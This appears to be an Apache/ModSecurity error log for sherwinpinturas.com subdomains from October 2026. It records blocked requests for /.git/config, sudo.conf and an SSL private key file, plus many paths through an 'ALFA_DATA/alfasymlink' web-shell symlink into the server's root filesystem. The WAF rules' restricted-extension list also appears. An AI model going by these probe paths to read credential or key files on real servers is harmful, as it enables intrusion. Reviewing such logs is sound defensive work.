[Sat Oct 24 20:59:41.367802 2026] [security2:error] [pid 2693034:tid 2693034] [client 45.138.12.188:36924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1UfVQTwXU83R4GW_ma6wAAACg"]
[Sat Oct 24 20:59:41.416225 2026] [security2:error] [pid 2692979:tid 2692979] [client 45.138.12.188:36928] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1UffavbqLdB7btCU-9-QAAABc"]
[Sat Oct 24 20:59:41.416483 2026] [security2:error] [pid 2692979:tid 2692979] [client 45.138.12.188:36928] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1UffavbqLdB7btCU-9-QAAABc"]
[Sat Oct 24 20:59:41.416746 2026] [security2:error] [pid 2692979:tid 2692979] [client 45.138.12.188:36928] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1UffavbqLdB7btCU-9-QAAABc"]
[Sat Oct 24 21:00:16.360537 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 85.208.96.210:64658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/validate
[Sat Oct 24 21:00:16.361125 2026] [security2:error] [pid 2733464:tid 2733464] [client 85.208.96.210:64658] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/validate"] [unique_id "at1UoCTLSCb4RJ-3cSWVbQAAAAE"]
[Sat Oct 24 21:00:16.361163 2026] [security2:error] [pid 2733464:tid 2733464] [client 85.208.96.210:64658] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/validate"] [unique_id "at1UoCTLSCb4RJ-3cSWVbQAAAAE"]
[Sat Oct 24 21:00:34.106696 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 3.232.82.72:53248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/rpc_tasks/reclaim_account
[Sat Oct 24 21:00:37.360972 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.196:33160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/objs_per_slab
[Sat Oct 24 21:00:42.160537 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.4.238.8:33329] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:00:46.245130 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.195.60.66:50745] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:00:58.133614 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 100.29.160.53:34091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:01:22.115227 2026] [security2:error] [pid 2731612:tid 2731612] [client 98.84.184.80:12726] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/sudo.conf"] [unique_id "at1U4kBkaIab1Zyjz6CVJwAAAAU"]
[Sat Oct 24 21:01:22.115836 2026] [security2:error] [pid 2731612:tid 2731612] [client 98.84.184.80:12726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/sudo.conf"] [unique_id "at1U4kBkaIab1Zyjz6CVJwAAAAU"]
[Sat Oct 24 21:01:22.116290 2026] [security2:error] [pid 2731612:tid 2731612] [client 98.84.184.80:12726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/sudo.conf"] [unique_id "at1U4kBkaIab1Zyjz6CVJwAAAAU"]
[Sat Oct 24 21:01:36.679620 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.206:44860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/slab_size
[Sat Oct 24 21:01:42.122441 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.205.91.101:21826] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:01:46.169357 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.222.85.38:30292] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:02:00.959269 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.195:43010] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/slabs
[Sat Oct 24 21:02:02.134234 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 98.80.130.239:52826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/request_sock_TCP/ctor
[Sat Oct 24 21:02:10.128917 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.88.84.219:46699] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/kmalloc-rcl-32/cpu_slabs
[Sat Oct 24 21:02:14.175582 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.227.234.246:44723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:02:26.142706 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.231.181.240:62192] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:02:34.269236 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 50.19.79.213:58035] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/device/subsystem/devices/PNP0B00:00/physical_node/driver/uevent
[Sat Oct 24 21:02:54.156659 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 23.23.214.190:2231] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/7/module/uevent
[Sat Oct 24 21:02:58.124502 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 107.23.62.75:22806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:03:02.166615 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 50.16.248.61:35367] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:03:06.208470 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.204.71.8:62242] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:03:10.216222 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.215.221.125:56157] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:03:18.161049 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.205.74.196:28416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:03:23.058317 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.12:59434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPv6/aliases
[Sat Oct 24 21:03:38.178888 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.45.77.169:3783] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:03:46.119644 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.215.61.66:26493] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:03:53.033834 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 185.191.171.1:46014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/order
[Sat Oct 24 21:03:56.089658 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 85.208.96.208:18608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/poison
[Sat Oct 24 21:04:02.134112 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.209.174.110:4971] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:04:06.223345 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.80.185.200:29641] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.3/subsystem/drivers/dw_dmac_pci/unbind
[Sat Oct 24 21:04:10.125277 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 52.0.105.244:7932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/exar_serial/uevent
[Sat Oct 24 21:04:18.463317 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 185.191.171.12:32620] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:04:22.294104 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.211.39.188:39737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:04:26.236827 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.212.131.50:35413] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:04:30.173464 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.20.178.124:4860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:04:34.186958 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.215.77.19:23813] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:04:38.145642 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.21.148.226:33728] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:04:50.118391 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.206.249.188:39718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:04:54.188592 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 18.214.238.178:4905] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.0/firmware_node/PNP0400:00/subsystem/drivers/button/unbind
[Sat Oct 24 21:04:59.274841 2026] [security2:error] [pid 2684583:tid 2684583] [client 185.191.171.11:52388] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/aaa92_3f819_f18af2d57128c880d91682a50eb081a6.key"] [unique_id "at1Vuz8oejtZfsaip1YonwAAABE"]
[Sat Oct 24 21:04:59.275250 2026] [security2:error] [pid 2684583:tid 2684583] [client 185.191.171.11:52388] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/aaa92_3f819_f18af2d57128c880d91682a50eb081a6.key"] [unique_id "at1Vuz8oejtZfsaip1YonwAAABE"]
[Sat Oct 24 21:04:59.275734 2026] [security2:error] [pid 2684583:tid 2684583] [client 185.191.171.11:52388] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/aaa92_3f819_f18af2d57128c880d91682a50eb081a6.key"] [unique_id "at1Vuz8oejtZfsaip1YonwAAABE"]
[Sat Oct 24 21:05:02.151824 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 3.213.106.226:64226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/input0/subsystem/event1/device/device/drvctl
[Sat Oct 24 21:05:06.154734 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.206.65.8:35002] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:05:14.126049 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 100.28.133.214:40879] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:05:34.201698 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.215.59.93:45444] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:05:36.732201 2026] [security2:error] [pid 2693035:tid 2693035] [client 147.185.133.217:59850] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/.well-known/security.txt"] [unique_id "at1V4N3lMH_Ldre-PZtu5AAAACk"], referer: http://64.20.54.226:80/.well-known/security.txt
[Sat Oct 24 21:05:36.732246 2026] [security2:error] [pid 2693035:tid 2693035] [client 147.185.133.217:59850] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/.well-known/security.txt"] [unique_id "at1V4N3lMH_Ldre-PZtu5AAAACk"], referer: http://64.20.54.226:80/.well-known/security.txt
[Sat Oct 24 21:05:38.298463 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.214.124.6:19892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:05:58.159538 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.206.212.24:51669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:06:10.128124 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.224.9.144:45975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:06:11.648806 2026] [cgi:error] [pid 2693035:tid 2693035] [client 205.210.31.152:60374] AH01215: stderr from /usr/local/cpanel/cgi-sys/defaultwebpage.cgi: 403 (Forbidden): 403 Forbidden
[Sat Oct 24 21:06:11.648892 2026] [cgi:error] [pid 2693035:tid 2693035] [client 205.210.31.152:60374] AH01215: stderr from /usr/local/cpanel/cgi-sys/defaultwebpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Sat Oct 24 21:06:22.130029 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.233.24.238:58867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:06:22.130253 2026] [security2:error] [pid 2692979:tid 2692979] [client 18.233.24.238:58867] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/mem/urandom/subsystem/random/subsystem/port/dev"] [unique_id "at1WDvavbqLdB7btCU--CAAAABc"]
[Sat Oct 24 21:06:22.130280 2026] [security2:error] [pid 2692979:tid 2692979] [client 18.233.24.238:58867] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/mem/urandom/subsystem/random/subsystem/port/dev"] [unique_id "at1WDvavbqLdB7btCU--CAAAABc"]
[Sat Oct 24 21:06:34.115924 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.5.242.243:2962] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:06:46.144896 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.204.89.56:14072] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:06:49.429980 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.200:31212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/xt_set/sections/__mcount_loc
[Sat Oct 24 21:06:50.215999 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.70.123.241:24436] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:06:58.140680 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.144.185.255:31210] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:07:02.143636 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.104.214:24222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:07:06.290157 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.22.64.232:62015] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:07:22.132431 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 23.21.179.120:63375] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:07:30.115244 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.209.187.99:15855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:07:34.202938 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.214.124.6:11244] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:07:44.475185 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.209:40050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/virtio_net/sections/__bug_table
[Sat Oct 24 21:07:56.223892 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 144.76.19.24:50906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/auxv
[Sat Oct 24 21:07:58.233738 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 52.205.141.124:43764] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 21:08:02.163527 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 98.83.10.183:39757] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/device:0e/eject
[Sat Oct 24 21:08:14.150044 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 44.221.227.90:10461] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/kmalloc-cg-2k/total_objects
[Sat Oct 24 21:08:38.306327 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.202:36500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-96/shrink
[Sat Oct 24 21:08:58.164581 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.193.2.57:24956] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:09:00.018734 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 185.191.171.12:50652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/validate
[Sat Oct 24 21:09:02.274227 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 23.21.179.120:36288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/usersize
[Sat Oct 24 21:09:02.462019 2026] [security2:error] [pid 2692979:tid 2692979] [client 16.216.88.31:2048] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "at1WrvavbqLdB7btCU--DgAAABc"]
[Sat Oct 24 21:09:02.462439 2026] [security2:error] [pid 2692979:tid 2692979] [client 16.216.88.31:2048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "at1WrvavbqLdB7btCU--DgAAABc"]
[Sat Oct 24 21:09:02.462751 2026] [security2:error] [pid 2692979:tid 2692979] [client 16.216.88.31:2048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "at1WrvavbqLdB7btCU--DgAAABc"]
[Sat Oct 24 21:09:10.157911 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 18.215.112.101:28622] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:09:22.256441 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.205.213.231:50714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:09:42.125818 2026] [ssl:error] [pid 2693020:tid 2693020] (22)Invalid argument: [client 18.207.79.144:23942] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:09:46.131189 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 34.193.2.57:40872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:09:50.133035 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.221.37.41:63872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:09:54.121094 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.213.85.234:52885] AH02013: coalesce failed to read from data bucket
